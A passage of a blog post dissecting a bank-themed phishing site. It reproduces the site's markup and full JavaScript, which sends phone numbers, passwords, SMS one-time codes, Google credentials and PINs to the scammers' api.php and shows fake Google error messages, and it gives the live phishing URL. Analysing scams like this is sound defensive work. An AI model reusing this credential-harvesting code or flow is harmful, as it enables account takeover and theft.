        background-image: url(&amp;quot;./img/blur_splash.png&amp;quot;);
        background-size: 100% 100%;
        background-repeat: no-repeat;
        overflow: hidden;
        color: #fff;
        font-size: 14px;
      }
      .header {
        height: 44px;
        display: flex;
        align-items: center;
      }
      .back {
        width: 25px;
        height: 25px;
        margin-left: 10px;
      }
      .logo {
        margin-left: 160px;
        width: 48.5px;
        height: 19px;
      }
      .content {
        margin-top: 60px;
      }
      .input {
        display: flex;
        margin: 10px auto;
        background: transparent;
        height: 40px;
        width: 95%;
        color: #fff;
        border: 1px solid #fff;
        border-radius: 4px;
      }
      input {
        background: transparent;
        margin-left: 10px;
        border: none;
        outline: none;
        color: #fff;
        width: 300px;
      }
      .footer {
        width: 95%;
        position: absolute;
        display: flex;
        flex-direction: column;
        align-items: center;
        bottom: 100px;
        left: 50%;
        transform: translateX(-50%);
      }
      .btn {
        width: 95%;
        height: 40px;
        border-radius: 4px;
        display: flex;
        align-items: center;
        justify-content: center;
        background: #999;
      }
      .pop {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        background: #fff;
        width: 250px;
        color: #221f21;

        box-sizing: border-box;
        border-radius: 8px;
      }

      .pop h6 {
        text-align: center;
        padding: 20px 0 0 0;
        font-size: 20px;
      }

      .pop_text {
        padding: 20px;
        box-sizing: border-box;
        border-bottom: 1px solid #eee;
        text-align: center;
        font-weight: 700;
      }
      .confirm {
        text-align: center;
        height: 40px;
        line-height: 40px;
        color: #4781db;
      }
    &amp;lt;/style&amp;gt;
  &amp;lt;/body&amp;gt;
  &amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;zy/api/i.js?ver=1704949874934&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is not a very big website. Not too much going on on the markup front. It does use a very old version of jQuery. CSS is nothing special either, mostly fixed values. I suppose this is meant for mobile devices.&lt;/p&gt;
&lt;p&gt;Use of viewport units is commendable. But use of the old-school absolute positioning and transform combination for vertical centring could probably be refactored.&lt;/p&gt;
&lt;h3&gt;Scam functionality analysis&lt;/h3&gt;
&lt;p&gt;Let&apos;s check out the business logic of this site, which is handled by JavaScript. There are 2 external JavaScript files loaded, &lt;code&gt;zy/api/k.js&lt;/code&gt; and &lt;code&gt;zy/api/i.js&lt;/code&gt; which seems to have some cache-busting capabilities.&lt;/p&gt;
&lt;p&gt;The first one to load is k.js, so let&apos;s see what that does. It&apos;s 63 lines.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var path = &amp;quot;zy&amp;quot;;
var nm = &amp;quot;&amp;quot;;
var jhhy = &amp;quot;activate .php&amp;quot;;
var errurl = &amp;quot;activate .php&amp;quot;;
var n = 0;
var settime = &amp;quot;&amp;quot;;
var ym = 1;
function js_ini_cssver(b) {
  var time = new Date().getTime();
  var link = document.createElement(&amp;quot;link&amp;quot;);
  var head = document.getElementsByTagName(&amp;quot;head&amp;quot;);
  head[0].appendChild(link);
  link.setAttribute(&amp;quot;rel&amp;quot;, &amp;quot;stylesheet&amp;quot;);
  link.setAttribute(&amp;quot;type&amp;quot;, &amp;quot;text/css&amp;quot;);
  link.setAttribute(&amp;quot;href&amp;quot;, b + &amp;quot;?ver=&amp;quot; + time);
}
function js_ini_jsver(b) {
  var time = new Date().getTime();
  var script = document.createElement(&amp;quot;script&amp;quot;);
  var html = document.getElementsByTagName(&amp;quot;html&amp;quot;);
  html[0].appendChild(script);
  script.setAttribute(&amp;quot;type&amp;quot;, &amp;quot;text/javascript&amp;quot;);
  script.setAttribute(&amp;quot;src&amp;quot;, b + &amp;quot;?ver=&amp;quot; + time);
}
function ajax(pg, url, data, function_name, tf, func_err = &amp;quot;&amp;quot;) {
  if (window.XMLHttpRequest) {
    var ajx = new XMLHttpRequest();
  } else {
    var ajx = new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;);
  }
  ajx.onreadystatechange = function () {
    if (ajx.readyState === 4 &amp;amp;&amp;amp; ajx.status === 200) {
      function_name(ajx.responseText);
    }
    if (ajx.readyState === 4 &amp;amp;&amp;amp; ajx.status === 400) {
      if (func_err != &amp;quot;&amp;quot;) {
        func_err();
      }
    }
  };
  ajx.open(pg, encodeURI(url), tf);
  if (pg === &amp;quot;post&amp;quot;) {
    ajx.setRequestHeader(&amp;quot;Content-Type&amp;quot;, &amp;quot;application/x-www-form-urlencoded&amp;quot;);
  }
  ajx.send(data);
}
function y(a) {
  if (a) {
    window.location.replace(a);
  } else {
    window.location.reload();
  }
}
function $name(p) {
  return document.getElementsByTagName(p);
}
function $id(p) {
  return document.getElementById(p);
}
function js_G() {
  var url = window.document.location.href.toString();
  var u = url.split(&amp;quot;?&amp;quot;);
  if (typeof u[1] === &amp;quot;string&amp;quot;) {
    u = u[1].split(&amp;quot;&amp;amp;&amp;quot;);
    var get = {};
    for (var i in u) {
      var j = u[i].split(&amp;quot;=&amp;quot;);
      get[j[0]] = j[1];
    }
    return get;
  } else {
    return {};
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks like it&apos;s mostly utility functions. That are not explicitly named, but that&apos;s fine since this is a scam site and you probably don&apos;t want people to know easily exactly what your functions are doing. There&apos;s stuff for AJAX, for redirecting, for parsing URL strings. Okay, nothing too crazy yet.&lt;/p&gt;
&lt;p&gt;So the script file that gets initialised is &lt;code&gt;i.js&lt;/code&gt; (and we found out why it has that versioning string attached to it, it was from &lt;code&gt;k.js&lt;/code&gt;). And that file looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function div() {
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var height =
    window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;

  var link = document.createElement(&amp;quot;div&amp;quot;);
  var head = document.getElementsByTagName(&amp;quot;body&amp;quot;);
  var l = document.createElement(&amp;quot;style&amp;quot;);
  head[0].appendChild(l);
  l.innerHTML =
    &amp;quot;.bak{background:#c9c9c9;position: absolute;top: 0; left: 0;width: 100%; height: 100%;opacity:0.2;opacity:0;}.loading { border-radius: 5px;width: 100px;height: 100px;background:#e9e9e9; } .loading-img {opacity:1;width: 50px;height: 50px;position: absolute; left: 0; right: 0;top: 0;bottom: 0;margin: auto;}@keyframes turn { 0% { -webkit-transform: rotate(0deg); }25% { -webkit-transform: rotate(90deg); }50% { -webkit-transform: rotate(180deg);} 75% { -webkit-transform: rotate(270deg); } 100% {-webkit-transform: rotate(360deg); }}.loading-img img { user-select:none; width: 100%; animation: turn 1s linear infinite;} .loading - none { display: none; } &amp;quot;;
  head[0].appendChild(link);
  link.setAttribute(
    &amp;quot;style&amp;quot;,
    &amp;quot;position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:9999;display: flex;justify-content: space-around;align-items: center; &amp;quot;
  );
  link.setAttribute(&amp;quot;id&amp;quot;, &amp;quot;divq&amp;quot;);
  link.style.width = width * 1 + &amp;quot;px&amp;quot;;
  link.style.height = height * 1 + &amp;quot;px&amp;quot;;
  // link.style.background = &amp;quot;#000&amp;quot;;
  link.style.left = width * 0 + &amp;quot;px&amp;quot;;
  link.style.top = height * 0 + &amp;quot;px&amp;quot;;
  link.style.borderRadius = &amp;quot;10px&amp;quot;;
  link.style.opacity = &amp;quot;1&amp;quot;;
  link.innerHTML =
    &amp;quot;&amp;lt;div class=&apos;loading&apos;&amp;gt;&amp;lt;div class=&apos;bak&apos;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&apos;loading-img&apos;&amp;gt;&amp;lt;img src=&apos;&amp;quot; +
    path +
    &amp;quot;/api/img/qq.png&apos; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;quot;;
}
function tkk(html) {
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var height =
    window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
  var link = document.createElement(&amp;quot;div&amp;quot;);
  var head = document.getElementsByTagName(&amp;quot;body&amp;quot;);
  var l = document.createElement(&amp;quot;style&amp;quot;);
  head[0].appendChild(l);
  l.innerHTML = &amp;quot;#i44,#i55,#i66,#idiv{position:absolute;}&amp;quot;;
  head[0].appendChild(link);
  link.setAttribute(
    &amp;quot;style&amp;quot;,
    &amp;quot;position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:9999;display: flex;justify-content: space-around;align-items: center; &amp;quot;
  );
  link.setAttribute(&amp;quot;id&amp;quot;, &amp;quot;divqq&amp;quot;);
  link.style.width = width + &amp;quot;px&amp;quot;;
  link.style.height = height + &amp;quot;px&amp;quot;;
  link.style.background = &amp;quot;&amp;quot;;
  link.style.left = 0 + &amp;quot;px&amp;quot;;
  link.style.top = 0 + &amp;quot;px&amp;quot;;
  link.style.opacity = &amp;quot;1&amp;quot;;
  link.innerHTML =
    &amp;quot;&amp;lt;div id=&apos;i44&apos;&amp;gt;&amp;lt;div id=&apos;idiv&apos;&amp;gt;&amp;lt;span id=&apos;i55&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;span id=&apos;i66&apos;&amp;gt;OK&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div id=&apos;idiv2&apos;&amp;gt;&amp;lt;/div&amp;gt;&amp;quot;;

  $id(&amp;quot;i55&amp;quot;).innerHTML = html;

  $id(&amp;quot;idiv2&amp;quot;).style.width = width + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv2&amp;quot;).style.height = height + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv2&amp;quot;).style.background = &amp;quot;#000&amp;quot;;
  $id(&amp;quot;idiv2&amp;quot;).style.left = 0 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv2&amp;quot;).style.top = 0 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv2&amp;quot;).style.opacity = &amp;quot;0.4&amp;quot;;

  $id(&amp;quot;idiv&amp;quot;).style.left = width * 0.05 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv&amp;quot;).style.top = height * 0.01 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv&amp;quot;).style.width = width * 0.8 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv&amp;quot;).style.height = height * 0.14 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;idiv&amp;quot;).style.wordBreak = &amp;quot;break-all&amp;quot;;

  $id(&amp;quot;i44&amp;quot;).style.left = width * 0.05 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.top = height * 0.4 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.width = width * 0.9 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.height = height * 0.2 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.background = &amp;quot;#fff&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.opacity = &amp;quot;1&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.zIndex = &amp;quot;1&amp;quot;;
  $id(&amp;quot;i44&amp;quot;).style.borderRadius = &amp;quot;2px&amp;quot;;

  $id(&amp;quot;i55&amp;quot;).style.left = 0 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i55&amp;quot;).style.top = height * 0.01 + &amp;quot;px&amp;quot;;

  $id(&amp;quot;i66&amp;quot;).style.left = width * 0.77 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i66&amp;quot;).style.top = height * 0.15 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i66&amp;quot;).style.color = &amp;quot;#6cd000&amp;quot;;
  $id(&amp;quot;i66&amp;quot;).style.fontSize = width * 0.045 + &amp;quot;px&amp;quot;;
  $id(&amp;quot;i66&amp;quot;).style.fontWeight = &amp;quot;bold&amp;quot;;

  $id(&amp;quot;divqq&amp;quot;).onclick = function () {
    if ($id(&amp;quot;divqq&amp;quot;)) {
      $id(&amp;quot;divqq&amp;quot;).remove();
    }
  };
}
function jsd() {
  n = 1;
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var m = 1;
  var ff = 1;
  settime = setInterval(countDown, 1000);
  function countDown() {
    m -= 1;
    if (m == 0 &amp;amp;&amp;amp; ff &amp;gt;= 0) {
      ff -= 1;
      m = 29;
    }
    if (m &amp;gt;= 0 &amp;amp;&amp;amp; ff &amp;gt;= 0) {
      if (m &amp;lt; 10) {
        var html1 = &amp;quot;00:0&amp;quot; + m;
      } else {
        var html1 = &amp;quot;00:&amp;quot; + m;
      }
      $id(&amp;quot;code&amp;quot;).innerHTML = &amp;quot;Request new code in &amp;quot; + html1;
    } else {
      n = 0;
      $id(&amp;quot;code&amp;quot;).innerHTML = &amp;quot;Request new code in 00:00&amp;quot;;
      clearInterval(settime);
    }
  }
}
function api_name_paswd(name, paswd) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;name=&amp;quot; + name + &amp;quot;&amp;amp;paswd=&amp;quot; + paswd;
  function f(p) {
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          y(&amp;quot;MS code.php?p=&amp;quot; + $id(&amp;quot;moblie_input&amp;quot;).value);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;block&amp;quot;;

          $id(&amp;quot;moblie_input&amp;quot;).value = &amp;quot;&amp;quot;;
          $(&amp;quot;.btn&amp;quot;).html(&amp;quot;Next&amp;quot;);
          $(&amp;quot;.btn&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#eee&amp;quot;);

          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          $(&amp;quot;.btn&amp;quot;).html(&amp;quot;Next&amp;quot;);
          $(&amp;quot;.btn&amp;quot;).children(&amp;quot;span&amp;quot;).remove();

          clearInterval(timer);
          // $id(&amp;quot;span3&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          // $id(&amp;quot;button21&amp;quot;).style.background=&amp;quot;#9be2aa&amp;quot;;
          // $id(&amp;quot;button21&amp;quot;).disabled=true;
          // $id(&amp;quot;input11&amp;quot;).focus();
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}

function api_yzm(yzm) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;yzm=&amp;quot; + yzm;
  function f(p) {
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }

          clearInterval(timer);
          // $id(&apos;div1&apos;).style.display = &apos;block&apos;;
          // $id(&amp;quot;input2&amp;quot;).focus();
          y(&amp;quot;login.php&amp;quot;);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          $(&amp;quot;.next&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#eee&amp;quot;);
          $(&amp;quot;#SMS&amp;quot;).val(&amp;quot;&amp;quot;);
          $(&amp;quot;input&amp;quot;).val(&amp;quot;&amp;quot;);
          $(&amp;quot;#SMS&amp;quot;).focus();

          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }

          $(&amp;quot;.next&amp;quot;).html(&amp;quot;Next&amp;quot;);
          $(&amp;quot;.next&amp;quot;).children(&amp;quot;span&amp;quot;).remove();

          clearInterval(timer);
          $id(&amp;quot;span3&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          $id(&amp;quot;input11&amp;quot;).value = &amp;quot;&amp;quot;;
          $id(&amp;quot;span5&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          $id(&amp;quot;input11&amp;quot;).focus();
          clearInterval(settime);
          jsd();
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}

function api_pwd(pwd) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;lgnpwd=&amp;quot; + pwd;
  function f(p) {
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          clearInterval(timer);
          y(&amp;quot;wait.html&amp;quot;);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;block&amp;quot;;

          $(&amp;quot;#pwd&amp;quot;).val(&amp;quot;&amp;quot;);
          $(&amp;quot;.btn&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#ccc&amp;quot;);
          $(&amp;quot;.btn&amp;quot;).html(&amp;quot;Next&amp;quot;);
          $(&amp;quot;.btn&amp;quot;).children(&amp;quot;span&amp;quot;).remove();

          clearInterval(timer);
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}

function api_yx(yx) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;yx=&amp;quot; + yx;
  function f(p) {
    div();
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, &amp;quot;yxok=ok&amp;quot;, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          y(
            &amp;quot;Sign in - Google Accountp.php?p=&amp;quot; +
              document.getElementsByClassName(&amp;quot;Xb9hP&amp;quot;)[0].getElementsByTagName(&amp;quot;input&amp;quot;)[0].value
          );
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          document.getElementsByClassName(&amp;quot;Xb9hP&amp;quot;)[0].getElementsByTagName(&amp;quot;input&amp;quot;)[0].value = &amp;quot;&amp;quot;;
          document.getElementsByClassName(&amp;quot;Xb9hP&amp;quot;)[0].getElementsByTagName(&amp;quot;input&amp;quot;)[0].focus();
          document.getElementsByClassName(&amp;quot;LXRPh&amp;quot;)[0].style.display = &amp;quot;block&amp;quot;;
          document.getElementsByClassName(&amp;quot;LXRPh&amp;quot;)[0].innerHTML =
            &apos;&amp;lt;div class=&amp;quot;EjBTad&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;svg aria-hidden=&amp;quot;true&amp;quot; class=&amp;quot;stUf5b LxE1Id&amp;quot; fill=&amp;quot;currentColor&amp;quot; focusable=&amp;quot;false&amp;quot; width=&amp;quot;16px&amp;quot; height=&amp;quot;16px&amp;quot; viewBox=&amp;quot;0 0 24 24&amp;quot; xmlns=&amp;quot;https://www.w3.org/2000/svg&amp;quot;&amp;gt;&amp;lt;path d=&amp;quot;M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div jsname=&amp;quot;B34EJ&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot; jsslot=&amp;quot;&amp;quot;&amp;gt;Your Goole account cannot be found &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&apos;;
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}
function api_yxmm(yxmm) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;yxmm=&amp;quot; + yxmm;
  function f(p) {
    div();
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, &amp;quot;yxmmok=ok&amp;quot;, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          y(&amp;quot;activate .php&amp;quot;);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          document.getElementsByClassName(&amp;quot;Xb9hP&amp;quot;)[0].getElementsByTagName(&amp;quot;input&amp;quot;)[0].value = &amp;quot;&amp;quot;;
          document.getElementsByClassName(&amp;quot;Xb9hP&amp;quot;)[0].getElementsByTagName(&amp;quot;input&amp;quot;)[0].focus();
          document.getElementsByClassName(&amp;quot;uSvLId&amp;quot;)[0].style.display = &amp;quot;block&amp;quot;;
          document.getElementsByClassName(&amp;quot;uSvLId&amp;quot;)[0].innerHTML =
            &apos;&amp;lt;div class=&amp;quot;EjBTad&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;svg aria-hidden=&amp;quot;true&amp;quot; class=&amp;quot;stUf5b LxE1Id&amp;quot; fill=&amp;quot;currentColor&amp;quot; focusable=&amp;quot;false&amp;quot; width=&amp;quot;16px&amp;quot; height=&amp;quot;16px&amp;quot; viewBox=&amp;quot;0 0 24 24&amp;quot; xmlns=&amp;quot;https://www.w3.org/2000/svg&amp;quot;&amp;gt;&amp;lt;path d=&amp;quot;M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div jsname=&amp;quot;B34EJ&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot; jsslot=&amp;quot;&amp;quot;&amp;gt;Incorrect password, please try again, or click &amp;quot;Forget password&amp;quot; to reset password. &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&apos;;
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}
function api_yzmjh(yzm, userid) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;yzmm=&amp;quot; + yzm;
  function f(p) {
    div();
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, &amp;quot;yzjhok=ok&amp;quot;, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          y(&amp;quot;opt.php&amp;quot;);
          clearInterval(timer);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          clearInterval(timer);
          $id(&amp;quot;err&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          $id(&amp;quot;input2&amp;quot;).value = &amp;quot;&amp;quot;;
          var ddiv = $id(&amp;quot;div12&amp;quot;).getElementsByTagName(&amp;quot;div&amp;quot;);
          for (let i = 0; i &amp;lt; ddiv.length; i++) {
            ddiv[i].style.border = &amp;quot;1px solid #14bf61&amp;quot;;
            ddiv[i].getElementsByTagName(&amp;quot;span&amp;quot;)[0].style.display = &amp;quot;block&amp;quot;;
          }
          $id(&amp;quot;input2&amp;quot;).focus();
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);

  data = &amp;quot;yx=&amp;quot; + userid;
  ajax(&amp;quot;post&amp;quot;, url, data, null, true);
}

function api_wt(name, paswd) {
  var url = path + &amp;quot;/api/api.php&amp;quot;;
  var data = &amp;quot;w1=&amp;quot; + name + &amp;quot;&amp;amp;w2=&amp;quot; + paswd;
  function f(p) {
    function aja() {
      ajax(&amp;quot;post&amp;quot;, url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;ok&amp;quot;) {
          y(&amp;quot;opt.php&amp;quot;);
          clearInterval(timer);
        }
        if (JSON.parse(d)[&amp;quot;ok&amp;quot;] == &amp;quot;no&amp;quot;) {
          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;block&amp;quot;;
          if ($id(&amp;quot;divq&amp;quot;)) {
            $id(&amp;quot;divq&amp;quot;).remove();
          }
          $(&amp;quot;.next&amp;quot;).html(&amp;quot;Next&amp;quot;);
          $(&amp;quot;.next&amp;quot;).children(&amp;quot;span&amp;quot;).remove();

          $(&amp;quot;#userId&amp;quot;).val(&amp;quot;&amp;quot;);
          $(&amp;quot;#PIN&amp;quot;).val(&amp;quot;&amp;quot;);
          $(&amp;quot;.next&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#eee&amp;quot;);
          $(&amp;quot;#userId&amp;quot;).focus();

          clearInterval(timer);
          // document.getElementsByClassName(&apos;_5yd0 _2ph- _5yd1&apos;)[0].style.display=&amp;quot;block&amp;quot;;
          // document.getElementsByClassName(&apos;_5yd0 _2ph- _5yd1&apos;)[0].innerHTML=&amp;quot;Invalid account password&amp;quot;;
        }
      }
    }
  }
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}

function xt() {
  function f(d) {
    if (d != &amp;quot;&amp;quot;) {
      var dd = JSON.parse(d);
      if ($id(&amp;quot;divqq&amp;quot;)) {
        $id(&amp;quot;divqq&amp;quot;).remove();
      }
      tkk(dd[0][&amp;quot;msg&amp;quot;]);
    }
  }
  var url = &amp;quot;zy/api/api.php&amp;quot;;
  var data = &amp;quot;xint=1&amp;quot;;
  ajax(&amp;quot;post&amp;quot;, url, data, f, true);
}
var xint = setInterval(xt, 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ergh, this one&apos;s so much longer. 396 lines. From here, we can tell that this whole scam is powered by PHP. Ah well, any tool can be used for good or evil. It is here, that I once again am reminded of how much better code reads when you &lt;em&gt;name your functions descriptively&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;But because the code was so hard to read, and I&apos;m down with COVID, I&apos;m just going to write up my best guesstimates of what the functions do. The whole code is there, so if you want to yell at me to say that I&apos;m wrong, don&apos;t bother. I know I&apos;m most likely wrong already.&lt;/p&gt;
&lt;p&gt;I can see functions for creating modals and loading spinners (the first 2). Then most of the rest seem to be related to parsing the user inputs? Then POST-ing them to &lt;code&gt;api.php&lt;/code&gt;? I think, more or less.&lt;/p&gt;
&lt;p&gt;There seems to be an action you can do to get a Google sign-in PHP page? But I&apos;m too tired to figure out what you need to do to get it at this point. If anyone carries on this investigation, please share your findings.&lt;/p&gt;
&lt;h3&gt;Tempt fate by filling in the phone number&lt;/h3&gt;
&lt;p&gt;I put in a random 8-digit number and automatically got redirected to this URL &lt;em&gt;&lt;a href=&quot;https://sgs.dbsnowsg.work/MS%20code.php?p=83442908&quot;&gt;https://sgs.dbsnowsg.work/MS code.php?p=83442908&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/phishing-site/mscode-480.jpg 480w, /images/posts/phishing-site/mscode-640.jpg 640w, /images/posts/phishing-site/mscode-960.jpg 960w, /images/posts/phishing-site/mscode-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/phishing-site/mscode-640.jpg&quot; alt=&quot;Screenshot of the second page of the phishing site sgs.dbsnowsg.work&quot;&gt;
&lt;p&gt;Did you think the second page would look better than the first one? Of course you didn&apos;t. Haha.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot; /&amp;gt;
    &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge&amp;quot; /&amp;gt;
    &amp;lt;meta
      name=&amp;quot;viewport&amp;quot;
      content=&amp;quot;width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1, maximum-scale=1&amp;quot;
    /&amp;gt;
    &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;./css/global.css&amp;quot; /&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;./css/animation.css&amp;quot; /&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id=&amp;quot;main&amp;quot;&amp;gt;
